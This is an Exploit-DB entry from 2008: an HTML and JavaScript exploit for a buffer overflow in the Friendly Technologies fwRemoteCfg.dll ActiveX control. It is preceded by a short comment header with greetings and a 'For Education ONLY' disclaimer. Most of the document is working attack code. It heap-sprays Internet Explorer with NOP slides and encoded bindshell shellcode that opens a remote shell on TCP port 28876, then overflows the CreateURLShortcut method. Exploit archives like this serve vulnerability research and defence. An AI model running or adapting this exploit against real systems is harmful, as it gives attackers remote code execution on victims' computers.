Exploit-DB #6323
Description: Friendly Technologies - 'fwRemoteCfg.dll' ActiveX Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2008-08-28
Author: spdr

Exploit:
<!--
"Friendly Technologies" provide software like L2TP and PPPoE clients to ISPs,
who give the software to their customers on CD so they have less trouble setting up thire connections.
They also provide remote configuration solutions .. not the best idea if you ask me.

An overflow exists in fwRemoteCfg.dll provided with the dialer,
an example of the dialer can be found here:

==========================================================
||	 	Greetz to the binaryvision crew		||
|| 	Come visit @ http://www.binaryvision.org.il	||
|| 	or IRC at irc.nix.co.il / #binaryvision		||
==========================================================

* Tested on WinXP SP2 using IE6.
** For Education ONLY!
*** Written by spdr. (spdr01 [at] gmail.com)
-->

<html>
<title>Friendly Technologies - wayyy too friendly...</title>

      <object classid="clsid:F4A06697-C0E7-4BB6-8C3B-E01016A4408B" id="sucker"></object>
      <input type="button" value="Exploit!" onClick="exploit()">

      <script>
        function exploit() {
          var Evil   = ""; 			// Our Evil Buffer
          var DamnIE   = "\x0C\x0C\x0C\x0C"; 	// Damn IE changes address when not in the 0x00 - 0x7F range :(
						// Need to use heap spray rather than overwrite EIP ...

	// Skyland win32 bindshell (28876/tcp) shellcode
	var ShellCode = unescape("%u4343%u4343%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb");

	var payLoadSize = ShellCode.length * 2; 	// Size of the shellcode
	var SprayToAddress = 0x0C0C0C0C; 		// Spray up to there, could make it shorter.

	var spraySlide = unescape("%u9090%u9090"); 			// Nop slide
	var heapHdrSize = 0x38; 					// size of heap header blocks in MSIE, hopefully.
	var BlockSize = 0x100000; 					// Size of each block
	var SlideSize = BlockSize - (payLoadSize + heapHdrSize); 	// Size of the Nop slide
	var heapBlocks = (SprayToAddress - 0x100000) / BlockSize; 	// Number of blocks

	spraySlide = MakeNopSlide(spraySlide, SlideSize);		// Create our slide


          // [heap header][nopslide][shellcode]
          memory = new Array();
          for (k = 0; k < heapBlocks; k++)
            memory[k] = spraySlide + ShellCode;

	// Create Evil Buffer
	while(Evil.length < 800)
	Evil += "A";
	Evil += DamnIE;
	
	// Pwn
	sucker.CreateURLShortcut("con", "con", Evil, 1); // Using 'con' as filename, we dont really want to make a file.
        }

	function MakeNopSlide(spraySlide, SlideSize){
	while(spraySlide.length * 2 < SlideSize)
	spraySlide += spraySlide;
	spraySlide = spraySlide.substring(0, SlideSize / 2);
	return spraySlide;
        }
      </script>

</html>

# milw0rm.com [2008-08-28]